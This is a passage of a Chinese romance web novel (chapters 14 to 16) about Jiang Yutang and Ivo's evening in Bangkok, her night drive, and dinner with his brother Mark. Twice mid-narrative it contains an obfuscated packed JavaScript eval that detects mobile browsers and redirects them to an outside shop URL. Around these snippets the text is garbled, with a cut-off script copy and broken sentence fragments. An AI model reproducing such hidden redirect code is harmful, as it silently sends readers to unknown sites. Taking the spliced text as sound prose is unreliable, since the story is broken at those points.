这家餐厅开了没几年,味道倒还算是不错,奶油浓郁的蛤蜊意面,热腾腾的干锅花菜,香干和青菜都很入味,非常 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听到他的话,姜遇棠真的停下了手上的动作,指了指她眼前的空盘,说:“饱啦。”说完,又揉了把小猫咪的脑袋。 “你很喜欢小动物吗?”Ivo问她。 “嗯,非常喜欢。” 因为妈妈去世后,她能得到的东西就很少了。姜琦抢走了她的父亲,同时也抢走了很多原本属于她的爱。起初姜遇棠的心中还会传来钝痛,但是渐渐的,这种感觉就消失了。 因为没有任何意义。 “小时候,家里养过一条比格犬,那条狗十分闹腾。我以前没什么玩伴,它一条狗就差不多顶十个小伙伴了。”姜遇棠轻声说,“但它也离开很多年了,有时候我都有点儿记不清它的模样了,不过偶尔还是会想念它。” “你一定很爱它吧?” “那是当然。”姜遇棠坐在他对面,来回转动的风扇偶尔转到她那边,她的发丝便会跟着轻轻拂动,整个人都十分惬意放松。 小猫咪慵懒地躺在她脚边,大概是感受到天气的炎热,又爬起来,跑走了,姜遇棠颇为遗憾地盯着它逐渐远去的背影。 Ivo近乎于肆无忌惮地看着她,过了一会儿,才问她:“要不要去后边转转?” 后院是个小型动物园,满足最低消费标准就可以凭票进去跟狮子合影。 Ivo领着她走进后院,已经有不少人在小狮子玩耍的玻璃房前排队。二人先是跟右侧笼子里的小猴和小兔子玩了会儿,然后才走到旁边的洗手台前给手消毒,消完,也加入了队伍。 快要轮到他们时,姜遇棠发现一侧的玻璃墙上贴着印有英文字样的注意事项。 她认真地读了一遍,发现英文旁还有几个二维码,提醒游客记得扫描,过后摄影师会将同狮子的合影照发给他们。 姜遇棠上下扫了两眼,倒是没放在心上。 轻声走进玻璃房,将门带上,把包包挂在门把手上,姜遇棠走到了小狮子跟前。 小狮子正沉浸在睡梦里,翻着肚皮无所畏惧。 她把手机递给Ivo:“你帮我拍,多拍几张,一会儿我再选。”说完,姜遇棠就蹲了下去,把手放在小狮子的肚皮上,缓缓地、轻轻地摸了摸。 Ivo拿着她的手机,时不时地往旁边挪两步,变换着角度给姜遇棠拍,一旁的摄影师也同样在捕捉画面。 姜遇棠一会儿看看这边,一会儿看看那边,确认Ivo已经拍了很多,才慢慢站起来,示意他过去。 等到Ivo本人拍摄结束,她才开始检查他拍的那些照片。 堂堂摄影师的手指在手机屏幕上左右滑动了数十张,却挑不出一张能看的照片,姜遇棠的表情险些挂不住。 Ivo注意到了,站起身,走过来问她:“怎么了?” 姜遇棠立刻收起手机,嘴角牵了牵,十分勉强地露出一个笑容:“没怎么呢。” 出了门,当即对着墙上的二维码开始扫描。 14. 车速 Ivo的拍照水平属实让人有点崩溃了。 手机里的每张照片看起来都脸不是脸,鼻子不是鼻子,眼睛不是眼睛的。精心绘制的妆容毫无展现之地,五官都变得十分模糊。她170的个子、95的体重,硬是被他拍成身高140、体重150。 说实话,很难让人不生气。 姜遇棠从事摄影多年,知道许多人不擅长自拍,对着镜头容易束手束脚,找不准角度,但他怎么能够做到他拍都拍成这样的? 她还从未遇到过如此棘手的对象,姜遇棠甚至怀疑Ivo平时从未打开过相机这个app,所以毫无经验。但一个人,最起码的审美总是要有的吧? 她就是闭着眼抓拍也比这强。 姜遇棠目光幽幽地扫视着Ivo,恰好撞到他回视过来的视线,深蓝的眼眸动了动,似询问。 姜遇棠轻轻地晃了晃脑袋,表示没事。 她沉默地消化情绪,告诉自己术业有专攻,未来有机会的话,一定要好好教教他。 目光逐渐变得大度。 即使很生气,她也没有多加指责,在Ivo再次询问的时候,仍是说没事,只是手指微动,瞬间将照片删除了一大半。 收起手机,秉着眼不见为净的心态,姜遇棠骤然间觉得心情好受了许多,便跟着Ivo往外走。 出了餐厅,一辆吉普突然从外头驶来,Ivo注意到了,下意识地抓住姜遇棠的手腕,将她拉到身后。 姜遇棠盯着自己的手腕,并没有用很大的劲儿,被触碰到的地方暖暖的,痒痒的,她抬头观察身前人。 似有所觉,待车停稳,他便立刻松了手。 院子里站着许多人,一张张陌生的脸在商量着一会儿该去哪玩,有的已是满脸疲惫,有的仍旧一脸亢奋,Ivo边朝车走边问她:“你还想去哪儿吗?” 一餐结束,照理就该各回各家了,他却问她要去哪儿。 姜遇棠看看时间,已经将近17点了,电影看完了,饭也一块儿吃过了,Ivo竟然还不打算送她回酒店。 真是稀奇了。 她走到宾利车前,靠在车门上,姿态闲散,嗓音懒懒的:“听你安排啊,无论京总带我去哪,我都奉陪到底啊。” “我带你去哪都行吗?”Ivo打开车门,回看她,“那要不带你去泰国的贫民窟转转?” “可以啊,只要你乐意。”她接得很快,几乎是无所谓地回应。 “我不是很乐意。曼谷又不是没有好玩的地方,跑那去干嘛?”提议的人又突然变卦,示意她上车。 姜遇棠挑了挑眉,跟着他上去。 事实上,她觉得Ivo这个人也挺矛盾的,一边不愿答应同她结婚,把她排除在他未来的计划里;一边又处处关照她,愿意花大把的时间陪她,不忍心将她彻底地推开。 姜遇棠实在捉摸不透他的想法。 换句话说,其实这类行为有一点儿渣? 可她并不反感,还有一丝受用,也觉得挺新奇的。或许人人都喜欢别人的迁就,喜欢冷漠的人对你特殊,嘴硬的人为你心软,为他对你的丁点儿好都兴奋不已。 尤其在他明明不愿意,偏偏不忍心时。 又或者他其实也有那么一点点在意,毕竟陪你看电影、请你吃饭,无论怎么看都不像是正常的男女情谊。 她也不懂他究竟是怎么想的,总觉得有点儿奇怪,可此刻的她又不太敢深想,总怕自己想多了。 Ivo的专属座驾姜遇棠已经坐过数回,这款车型她之前从未碰过,但看得出里边的配置都是顶配,瞬间有些心痒难耐。 “话说,曼谷的交通管制严不严啊?会有警方突然拦在路口,随时检查你的驾照吗?” Ivo刚踩下油门,有点儿没能理解她的意思:“怎么了?” “我的车还停在国内的萧山机场呢。”姜遇棠盯着宾利的方向盘,“但我已经好多天没有摸过方向盘了,有点儿想试试你这辆,可以吗?” 他没点头也没摇头,显然是对她的话感到惊奇,正好碰到红绿灯,车在斑马线前停下。 路上有电动车和TukTuk车横冲直撞,旁边右拐的皮卡车司机连安全带都没系,还有司机边开车边看手机上的YouTube视频,Ivo转过脸来:“泰国是右舵,你有国际驾照吗?” 姜遇棠怔怔地看着他,她当然没有。 “那很抱歉。虽说曼谷交通管制并不严格,交警有时候也是睁一只眼闭一只眼的,但开惯了左舵的人很难立刻转换思维,还是不要试了吧。” 在他提到泰国交警的行事作风时,姜遇棠本来还以为会有一线希望。 但显然并没有。 你们外国人也习惯铺垫一大段话后再拒绝的吗?这可不是什么好习惯啊。 “行吧。”姜遇棠颇为遗憾地说。 不知是不是Ivo的错觉,他总觉得在她回答了这两个字后,脸上短暂地流露出了几分失落。 只是在他打方向掉头,车子拐入主干道后,那点儿伤心又忽地消失了。 车开到临街的一段路,姜遇棠突然惊觉右侧即是湄南河。 夜间的河同白日有所不同,沿河一带有许多酒吧,四周气氛火热,灯红酒绿。她想掏出手机拍个照,猛然发现自己在外逍遥了一天,手机电量早被耗尽,已经自动关机了。 她转头问Ivo:“你车上有充电线吗?” “在储物格。克鲁格,打开储物格。” “OK。” 姜遇棠发现Ivo对自己未免也些太过不设防了,竟然允许她随意触碰车内的东西,一点儿都没有防范意识。 他不害怕,她便只好自己去找,但是并没有乱翻,几乎是一眼就看到了数据线。 给手机充上电,姜遇棠又问Ivo:“可以听会儿歌吗?” 他用下巴点了点中控屏,示意她自己来。 “让克鲁格给我播,可以吗?让我听听你平时都在听什么歌单。”姜遇棠讨价还价般道。 Ivo却没说什么,顺着她的意思,喊:“克鲁格,播放音乐。” “你想听什么歌啊?”克鲁格问他。 Ivo没答。 克鲁格便自作主张地回答:“既然不告诉我,那我就按你平时的习惯来咯。” 话落,音响里立刻流出一首舒缓的古典乐,音色很好,在这静寂的车厢内,仿佛一张网从四面八方将她裹住,实在有些突兀而清晰。 姜遇棠不可置信地觑了Ivo一眼,很难想象原来他的品味是这样的。 听了一半,她就立马要求切掉。Ivo让她随意,她便在搜索栏那块输入了TaylorSwift的名字。 排在最上端的是《LoveStory》,姜遇棠顺手点开,音响中很快淌出Taylor的声音: “AndIsay,Romeo,takemesomewherewecanbealone.I''llbewaiting,allthere''slefttodoisrun.You''llbetheprinceandI''llbetheprincess.It''salovestory.Baby,justsay,Yes.” 车厢内只有音乐声起起伏伏,两人静静地听着,许久未有交谈。 不知过了多久,有低低沉沉的声音问她:“喜欢听英文歌?” 姜遇棠转头看他。 “对啊,因为我以前的梦想是成为一名翻译。”她笑着说,眼底似有细碎星光。 “那最后怎么不当了?” “可能是因为和想象当中有些差距吧。” 她以前试想过许多自己成为一名翻译的场景,那是何等光鲜亮丽的一幕,同世界各地的政要站在一处,自信,勇敢,随机应变,巧舌如簧。 但现实是成为翻译每天都需要学习七八个小时以上,每天都要面对考不完的试,写不完的小论文,在这个证与那个证之间来回奔波,不停地提升文化素养。 全国各大语言院校每年招生成千上万,然而毕业时节真正成为翻译的比例或许只有15%-30%。 姜遇棠一直都认为自己在学习上并不是天赋异禀的类型,初中时还算拔尖,上了高中后就有些许吃力,后来将名次保持在上游也算是付出了九牛二虎之力。 但是努力跟天赋比起来实在是太微不足道了,她貌似也不想要太努力,因为努力后得到的结果并没有人会为她欢欣雀跃。 在填志愿时,姜遇棠开始怀疑自己是否真的适合走翻译这条路,也在不断深陷的自我怀疑中最终选择了放弃。 “背后要付出的东西实在太多啦,我又不像你,我只想要自由地挥霍时间啊。当然还有一个原因啦,我对自己尚有充分的认知,以我的水平,应该远远达不到翻译水准吧。” 她很认真地叙述过往,也很坦然地面对放弃。 是在这一刻,Ivo意识到他对姜遇棠其实并没有十分了解的。 起初是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16624010|187205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不愿了解,不想放在心上,觉得没必要。以他们的关系,相识不过几日,保持适当的距离才是最为合适的。现在却发现,是完全不了解。 他静默地思考着,还未回答,就听克鲁格大声安慰:“没关系的,生活是你自己的,偶尔放弃也是可以的,不要难过。” “我倒是没有难过啦。” “理解,不过难过也是没关系的,一切都会过去的。” Ivo:“......” 这时车往右道拐,姜遇棠也跟着偏过脑袋,对身侧之人说:“你知道这首歌是讲罗密欧与朱丽叶的吧?” 没有听到应声,她开始一本正经地解释:“其实这首歌背后的含义是,无论如何,无论发生什么,命运都不能将两个相爱的人分开,这世上没有任何东西能够阻止两人在一起。” 她说得冠冕堂皇的,Ivo听了直想笑:“是吗?我英文挺好的,听着并不像是这个意思啊。” “哈哈,失策了呢。” 后来播放器又切到了别的歌曲,姜遇棠几乎每首都能跟唱两句,连着唱了三五首后,她陡然发现路边的建筑物忽地变得越来越少,树却是越来越多,车窗外的星星也由零星两颗逐渐变为一大片,团团紧簇着似灯珠,不由感到疑惑:“这是去市中心的路吗?我怎么不记得有走过这里啊,我的方向感应该也没有很差吧?” Ivo眉梢抬起:“不是去市里,我们去郊区。” “大晚上的去郊区干嘛?” “你不是想开车吗?那边没有交警。”Ivo解释了句,说着,又顿了顿,“怎么,现在不想试了吗?” “试试试,当然要试。”姜遇棠不再说话,目送繁华的都市离自己越来越远。 车一路直行,开到郊外花了将近一个半小时。 后来姜遇棠发现,这与其说是城郊,不如说是inthemiddleofthenowhere,路上经过一大片稻田,稻田中有许多黑漆漆的小木屋,屋旁围着栅栏,时不时的,里头会传来牛羊的叫声。行车途中还会碰到猫猫狗狗、野兔或者其他小动物从车前经过。 她上次见到这么多动物,还是假期跑去非洲看动物大迁徙。 车走走停停,停停走走。 最后在一片开阔的路段停下,Ivo解开安全带,推开车门:“换你。” “嗯哼?” “你在国内是有驾照的吧?” “当然,我18岁就取得驾照了,好吗?!” “那行,你来试试看。” 他很快跟姜遇棠换了座,让她自己试一下,找找感觉。 姜遇棠没有拒绝。 刚开始的确会很不适应,姜遇棠一脚油门下去,会惯性地驶向右边。被Ivo提醒了几次后,就慢慢找回感觉了。 她将车窗降下,感受曼谷潮热粘稠的晚风。整条路只有这一辆车,路也算得上平整,在清醒自由广阔的夜里,姜遇棠逐渐加快了行驶速度。 Ivo能够明显感觉到飙升的速度,像是肾上腺素骤然飙升,心跳也跟着隆隆作响,不正常,不安全,很危险,但他并未阻拦。 他看到右侧驾驶座上的人专注地目视前方,整个人却松弛而闲适。逆着风,一头乌黑长发随风飞舞,她的脸上洋溢着他从未遇见过的一直默默追寻着的轻松愉悦。 似一个梦,遥遥而不可触摸。 风声呼呼,扑面而来,眼前的景物呼啸而过,仿佛这个世界上只剩下了他俩并肩同行。 冷不丁的,被剩下的另一个人扭头问他:“Ivo,你快乐吗?” 这话问得非常突然,令Ivo猝不及防。 车载音乐正好播到ImagineDragons的《Bones》: “I-I-Igotthisfeeling,yeah,youknowwhereI’mlosingallcontrolcausethere’smagicinmybones.I-I-Igotthisfeelinginmysoul.Goaheadandthrowyourstonescausethere’smagicinmybones.” 音乐声似乎盖住了她的声音,也盖住了他胸腔内剧烈的心跳声。Ivo不确定自己刚刚是否听错,因而没有回答,只是静静地看着她。 但姜遇棠根本不在乎他的答案,再次加快车速,然后对着寂静的夜空,广阔的大地,还有车载音响内的音乐高喊出声:“我很快乐!” 15. 真爱 宾利在郊野疾驰,看着窗外永无尽头的道路,他忽然觉得胸腔内的心跳声变得又沉又稳。 姜遇棠问他是否快乐,但快不快乐对他来说并不重要。人不可能永远快乐,当然,也不可能永远都不快乐。 最终他也没有回答,在往回开的路上二人重新调换了座位。 车开往市中心时,中控屏上突然弹出一串号码,克鲁格大声将其念了出来,Ivo听出那串数字的主人是Mark,便让它接起来。 刚接通,就听对面笑嘻嘻地问他:“你还在公司?在忙吗?” Mark知道,一个月30天的时间里,Ivo有20天是待在办公室的。剩下的10天,不是在出差就是在加班,所以Mark想当然地以为他是在加班,但是嗓音里并无任何叨扰到对方的歉疚。 “怎么了?你有什么事吗?”Ivo问他,听不出任何语气。 那边倒是不介意:“今天好累啊,忙了一整天,你快过来请我吃饭吧。” 他很快地报上地址,是在暹罗天地楼上的一家西餐厅,说完就草草地挂断了电话,不给Ivo任何反应时间。 从目前所处位置到暹罗天地不到2公里,眼看时间不早了,Ivo打算先送姜遇棠回酒店,再去找Mark。 但姜遇棠早就从音响流出的声响中辨出了Mark的声音,隐隐带着期待:“Ivo,能跟你打个商量吗?” Ivo无情拒绝:“不能。” “啧,我都还没说啥呢。”姜遇棠不管他,接着说,“我能跟你一块儿去吗?” 说真的,姜遇棠这一整天几乎都在外头游荡,好似并没做什么,但似乎也没有闲下来过,其实还是有点儿疲惫的。 但一个人闲着是“千山鸟飞绝,万径人踪灭”,两个人待一块儿,则是“两个黄鹂鸣翠柳,一行白鹭上青天”。再加一个Mark,夜间生活便不至于太过枯燥和无聊了。 她是属于比较需要别人回馈反应的那类人,所以还不太想回酒店。 其实Ivo是想拒绝的,他不太想把姜遇棠牵扯到自己的生活里,只是汽车一路驶到暹罗天地的停车场,他也没想清楚自己是怎么将她带过来的。 离停车场最近的是5号门,泰国的商场进入时需要安检。 安检完,姜遇棠跟着Ivo来到了G层的水上集市,她问他:“我们要去哪儿?” “先进电梯。”Ivo一边摁电梯,一边提醒她,“一会儿记得别乱说话。 姜遇棠不解,用开玩笑的语气问他:“什么话算乱说?要不你教教我吧,不然我可没有概念啊。” Ivo看着她,倒也没有直接点明,只说:“要是让Mark了解你的话,他会变得非常八卦。” “这样啊,那随他八卦好了。”话是脱口而出的,显然毫不在意。 Ivo再也找不到其他理由,索性不再管她。 暹罗天地是泰国著名的购物娱乐商场,位于湄南河西岸,与大皇宫及郑王庙隔河相望,被誉为“湄南河上的商业奇迹”。类似于国内的王府井,这里也是寸土寸金,高楼林立。 姜遇棠来了曼谷好多天,还从没有进来逛过。 她在今天才发现这个商场是真的很大,每家店铺的装修风格都迥然不同,有的餐厅是中式风格,巨龙在房檐上盘旋;有的则像夜游湄南河,头顶悬着纸鸢彩灯,载满花卉的小舟停泊沿岸,有流水蜿蜒而过。墙角一溜的爬藤植物,头顶垂挂下来生机勃勃的绿色藤蔓。 他们要去的那家西餐厅装潢也很别致,今天是工作日,这会儿并不是正常的饭点,但餐厅里的人仍旧有很多,且大多穿着正式,像是来谈生意的。 侍应生端着精致的餐点来回走动,个个都忙得脚不沾地。 姜遇棠左右环顾,一眼就能看出这家餐厅的用餐标准绝对不低,不免感到好奇:“泰国这边旅游业发达,旅游衍生出的职业众多,尤其是地陪。话说,导游在这边的工资很高吗?” “没有。”Ivo直白道,“不高,也不算低,勉强够养家糊口吧。毕竟泰国人并没有储蓄习惯,绝大部分都是像Mark一样的,挣多少钱花多少钱的享乐主义者。” “Mark他......光干导游吗?” “不会,他偶尔也会搞些投资。” 他随口提了两句,经由拼凑,姜遇棠了解到: Mark是地地道道的泰国本地人,本职是导游,副业干民宿,偶尔投资一些餐饮店、咖啡厅或者是酒吧。三年内投资的产业众多,只不过幸存下来的很少,所以在他想要开拓新领域的时候,Ivo已经不愿再给他注入一毛钱资金了,因而,他目前的收入与支出只能说是堪堪持平。 “那他还挺努力的......”姜遇棠这么说,侍应生打开了门,用英文让他们跟着他走。 二人跟他穿过大厅,沿着深色长绒地毯往前走,绕过堆满各色酒水的吧台,走到一处可以观赏湄南河夜景的露台。周遭光线暗淡,桌椅都是黑色的,像是刻意营造出一种独特的氛围。 侍应生引着他们走到一张长桌前,桌上燃着一盏装饰灯,他双手摆出一个“请”的手势。 Ivo拉出桌下的吧台椅。 姜遇棠也跟着拉出椅子,看到对面的Mark直起背,摘下帽子,露出一张好似无论何时都热情洋溢的脸。他的身上有一种泰国人天生自带的乐观,眼睛明亮,脸上挂着标志性的笑容。 看见姜遇棠时,Mark最初一怔,反应过来后立马露出一口白牙,笑着对她说萨瓦迪卡,又用中文说了句你好。 姜遇棠也对他说了句:“萨瓦迪卡。” 6月的曼谷早晚温差并不明显,加之露台这块没有空调,一坐下,Ivo就脱下他穿了一整天的西装外套,搭在椅背上。 Mark说是让Ivo过来请他,但压根没等他,早就自顾自地吃上了,在他俩坐下时,餐盘里的食物已经被他消灭了一大半。 他笑着让侍应生将菜单递给Ivo和姜遇棠。 Ivo又把菜单推回给他,告诉他,他们已经吃过晚饭,他若是没吃饱可以再点,Mark顺手接过,不以为意:“那就点些饮料好了。” 他把菜单翻到酒水那页。 Ivo要开车不能喝酒,选了一杯荔枝气泡水,姜遇棠则选了一款鸡尾酒。 Ivo跟侍应生说不要酒精。 用的是英文,姜遇棠瞬间表达不满:“Howcanacocktailbenon-alcoholic?” 转头对侍应生说:“Iwantacupofregularcocktail,please.” 等待酒水的过程中,Mark用泰语跟Ivo抱怨了一小会儿今天的工作,说自己带团去了哪儿,来回多少趟,说了多少话,说得口干舌燥。 姜遇棠则安安静静地坐在一旁,单手支着脑袋听着,像以前在网上看泰语电视剧。 虽然听不懂,但也能听出他们是在唠家常,Mark习惯性地同他哥哥分享生活中碰到的寻常片段。Ivo则冷眼寡语,英俊的脸对他的一切话都漠然处之,他似乎对谁都挺一视同仁的。 这样也挺好。 姜遇棠耐心等着,Mark看她一眼,面露微笑,又将目光转向Ivo:“这么晚了,你们怎么会在一块儿?你和她是在一起了吗?” Ivo假装没听见,维持着同以往一样的高冷姿态,并不回答他的问题。 Mark接着问:“连我都不告诉吗?我们可是亲兄弟啊,以前你没有朋友,我每天都会跑你房间去找你玩,每一天。我所有事都会和你分享,连公司运营情况都会和你说。就算手里只有一块小饼干,我也会分你一半。” 他说得情真意切。 但Ivo压根不吃这一套:“首先,我没有否认你是我兄弟这个事实;其次,告诉我你公司的运营情况是因为我注了资,有权知晓;最后,我根本就不喜欢吃饼干。” eon,找到真爱不是什么秘密吧?承认也没什么大不了的吧?” 就知道会这样,Ivo无奈地看着他:“不是女朋友,我们是偶然遇上的,准备送她回酒店时,碰巧你来电话了,所以我就带她过来了。” 他冷淡否定,但Mark并不相信。因为曾经有许多空闲时间,他跑去Ivo的公司找他,都会发现他冷漠地坐在会议室里,面无表情地听各个部长讲话。 这似乎已经成为了他的生活常态。 而面对姜遇棠,他经常不是这样的,脸上线条柔和得就像换了一个人。 或许他自己并不清楚。 “别骗我了,我还不了解你吗?除了她,你身边哪还有女性朋友......” 没等Mark念叨完,Ivo这边突然来了一个电话:“我过去接个电话。” “真不凑巧啊。”Mark叹了声,“不过没关系,等你回来,我们接着聊啊。” Ivo起身,同姜遇棠指了指自己的手机,又低声警告Mark:“你不要和她乱说话。” 立刻收到拒绝配合的手势。 Ivo瞪了他一眼,Mark笑了笑,他才走去旁边的露台。 还说不是女朋友,Mark才不信呢,他收起笑意,正打算到姜遇棠这边探探口风,突然发现她的目光游移,看起来有点儿心不在焉。 再细看,又恍然意识到她的视线一直在追随着Ivo。Mark扬起眉梢,环抱起胳膊,往后倒了倒,靠在椅背上。 大概是电话急,Ivo并没有走出很远,只走了几步,就停在了露台的栏杆前。 周围侍应生来来去去,身后有驻唱歌手边弹钢琴边高歌,Ivo靠在栏杆上,一点儿都不受影响。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16635921|187205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他握着手机,脸部微倾,眼神专注而深邃。紧致的白色衬衣,领口解开两粒扣子,练得结实的胸肌轮廓若隐若现,看着狂野又性感。袖口随意挽起,露出紧实有力的小臂,后颈、肩头、腰身的尺寸都格外迷人。皮肤是晒不黑的白,西裤下的长腿笔直健硕,可以说是一具极其诱人的身体。 姜遇棠的目光持续不断地在他身上游走,认真地欣赏眼前这身极具观赏价值的皮囊。 难为他老是用西装遮掩,难为他只留给自己欣赏,这样一副好身材,摸起来一定也很爽吧。 想着想着,瞬间感到口干舌燥,姜遇棠拿起桌上的鸡尾酒喝了一口,把杯子放回桌上,又看过去。 Ivo站的那处没有灯,对岸的光影变幻莫测,时而骤亮,时而消散,照得他的脸忽明忽暗的,像是电影当中的某个特写镜头。 隔着一小段距离,Ivo正在和下属沟通新开出来的一条产品线,品牌部有事需要同他商量。似乎遇到了棘手的问题,他静静地听着,间或提出几点要求。 听到了不合要求的声音,Ivo蹙起眉头,陷入思考,接着同对方沟通。 姜遇棠把他从头到脚都捋了一遍,看他轻握手机的手指,看他不怎么会说好话的凉薄的嘴唇,欣赏的,迷恋的,想要据为己有的,眼神直白而露骨。 大概是目光过于炙热了,Ivo有所察觉,他侧过脸朝姜遇棠的方向看了眼。视线对接的一刹那,有迷蒙的光影在她眼里闪过,带出一阵心虚。 不过也只是一刹那。 看一看怎么了,看一看又不犯法。 姜遇棠不慌不忙的,用一双轻佻的眼睛回视他,头微微后仰,拿起鸡尾酒又喝了一口,轻舔嘴角,接着缓而慢地转过身子,抬手摸了摸椅背上的西服外套。 料子很好,连内衬都是真丝的。 Mark一直翘着腿在对面看她,姜遇棠的反应让他感觉自己好像发现了新大陆。看懂了,但又不能直白指出,得等他们自己承认。 随后,怀着看戏的心理,也想看他们如何表演,Mark放下手中叉子,突然出声:“你在看什么?” 姜遇棠的表情倏地变了,不解?不是,惊讶?好像也不是。反应半天后,她终于找到了冷静的表情,眨了眨眼:“在欣赏夜景。” 稀奇,这两人还真是奇怪,怎么都不承认他们是在一起了啊,这有什么可不承认的?爱了就爱了嘛。 Mark搞不懂,见姜遇棠还在摸那件外套,便笑着同她说:“这是我妈妈做的。” “金姨自己做的吗?好厉害啊。” “当然。”Mark看着她,话接得很快,“我妈妈会做很多衣服,我身上这件也是她做的。” 是很东南亚风的沙滩服,让姜遇棠猛地想起初次见Ivo时的情景,现在想来,那风格明显就和他不搭:“上次去大皇宫,Ivo的那件衣服也是你妈妈做的吗?看着并不像是他常穿的类型呢。” “是的,他平常总穿西装,tooboring。” 姜遇棠笑了笑:“你妈妈的手艺很好,希望下次有机会,能请她帮我做一件。” “可以啊,不过她这几天有事在忙。” “没关系,等她忙完了,我会前去拜访。”姜遇棠说,想起什么,又道,“对了,为什么上次Ivo会借你的车去大皇宫啊?” “那两天他刚好休息,过来找我们,但我生病了。我妈妈担心他无聊,正好他来泰国这么多年,也没去过大皇宫,就让他过去转转。至于为什么会骑TukTuk车,当然是因为那边不方便停车啦。”Mark大笑,抬手指了个方向,“就在那边,那边就是大皇宫,还有郑王庙。你乘过船了吗?从那边乘船出发,可以看到曼谷最美的夜景。不过你们中国人喜欢去逛考山路,在考山路乘船也一样,就是会多几站,可以一路坐到码头夜市。” “好啊,等我哪天去试一试。”姜遇棠又喝了口鸡尾酒,朝Ivo那边瞄了眼,又转回头,问Mark,“你刚刚......和Ivo在聊什么啊?” Mark看她一眼,往嘴里塞了一口意面,故意慢了一拍才问:“什么时候?” 姜遇棠的声音很低:“你俩说泰语的时候。” 他知道她在问什么,只是觉得不能按Ivo说的来,于是一双眼睛变得炯炯有神,蓬勃笑意自嘴角染到眉梢。 Mark的喉结上下滑动了一番,凑近姜遇棠,一边告诉她Ivo不让他跟她说,一边又忍不住往外说:“我刚刚啊,在问他你们怎么会一块儿过来,问你们是什么关系。” 哦豁? 姜遇棠眼睛一亮。 “我们的关系啊......”她默默咀嚼着这几个词,手指捏着吸管不停搅动,“他是怎么回答的?” Mark眨巴着眼睛看她,脸不红心不跳地说:“他说他找到了真爱。” 16. 烦人 “啊?”姜遇棠抬起头,微张着唇,瞬间感觉自己酒精上头了,胸口也跟着麻酥酥的。 但她很快就意识到Mark是在逗她。 他每天都需要面对来自世界各地的游客,学会了各种恭维讨好的本事,话自然是说得比谁都好听,笑容也跟太阳一样明媚灿烂,让人辨不出真假。 但认真想一想,这其实非常不符合Ivo的行事作风。 反应过来后,姜遇棠的脑内忽然闪现出某部清宫剧中的妃嫔形象,在笼络人心上自有两把刷子。 把用在世界各地游客身上的手段用在她身上,自然也是很好使的,毕竟,全世界的人都爱听好话。 可Ivo并不会说好话。 姜遇棠很快别开眼,猛喝了口鸡尾酒:“你肯定是在开玩笑,Ivo可说不出这样的话来。” Mark放下叉子:“为什么不会?或许我们都不够了解他。” “了解什么?”Ivo打完电话回来,重新拉开椅子,把手机放回桌上,看向Mark。 他有预感Mark在他离开时说了很多有的没的。 果然不出他所料。 “当然是了解你啊。”Mark笑嘻嘻地说,双手支着椅背后仰,“我说你其实只是看起来比较冷漠,但性格很好的,你不是不爱说话,你跟我就有很多话说。” Ivo冷冷看他,绝情回复:“那是因为你很烦。” “什么啊?你可从来都没嫌我烦过。” “我一直都觉得你很烦。” “我不信,这一定不是你内心的真实想法。” 的确不是真实想法,但最初见到Mark时,Ivo也是真的嫌他烦。 他想不明白这世上怎么会有Mark这么粘人的小孩,总是会有说不完的话,做不完的事,还每天都要跑他房间来找他玩,时不时地在他跟前晃悠,吵得他耳朵疼。他曾多次明确表示自己并不想陪他玩了,但Mark根本不愿理会,他是全世界最聒噪的小孩了。 Mark是在Ivo十岁出头时跟着金姨来到德国的,他是他父亲在泰国出差时留下的孩子。说起来也很奇怪,他父亲这人古板严肃,但却能够做到处处留情,上哪儿出差都能带回来一个孩子。 几乎每一段都是萍水相逢的露水情缘,但每一段都收拾不干净。只不过在女方要求对孩子负责时,他也不会拒绝。 或许,用中国人的话说,他只是犯了一个全天下男人都会犯的错吧。 Ivo发呆思考着,目光里渐渐露出一丝嘲讽的笑意,忽听姜遇棠问对面的Mark:“你们都来泰国定居了,那你们的爸爸呢?他不过来吗?” Mark随意地耸耸肩:“他不怎么跟我们联系,也不会再管我们了。” 他们的父亲是个古板固执的德国人,当他们的发展路线不再符合他的预期,他便不再愿意管教他们,也不再愿意理会他们了。 用金姨的话说,他们的父亲生来就是一个极为自私的人,没有很多的爱,只是拥有很多的情和很多的钱。 所以在很长一段时间里,他会提供资金,管教小孩的事,常常是由金姨负责的。 金姨是芭提雅人,在芭提雅出生,在芭提雅长大。 芭提雅这个地方闻名于世的除了人妖文化,另一个便是租妻文化。整座城市的街头几乎随处都能看到一个欧美老头牵着比她小二三十岁的泰国女子。欧美男人给她们提供钱,她们为欧美男人提供翻译服务或者另类的情感服务。 金姨的家境普通,她没读过什么书,很早就出来打工了,一开始干的也是导游。 可导游并不是一般人能干的,来芭提雅旅游的几乎都是外国人,最起码的,你得学会一门英语吧。金姨不会,所以同行们纷纷揽上客人、赚取各种各样的小费的时候,只有她还孤零零地站在街头。 不过金姨好学,她去买了一个二手的MP3,在网上拷了很多口语教程,每天跟着练、跟着背,没多久,基础交流就没问题了。 学会了英语也不能保证就会有生意,金姨暗中观察同行们每天的操作,也学他们那样豁出去,逢人便问需不需要翻译服务。 路过的游客大多都是自由行的,走到哪是哪,对泰国的文化并不感兴趣。也有的,会笑着逗弄她:“只提供翻译服务吗?其他的服务提不提供啊?” 那会儿金姨到底是年轻,还会天真地问对方:“请问您还需要提供什么服务?” 男人笑了声,眯了眯眼,伸出手指,挑起她的下巴,凑近她的耳朵,用饱含色情的嗓音说:“Sex。” 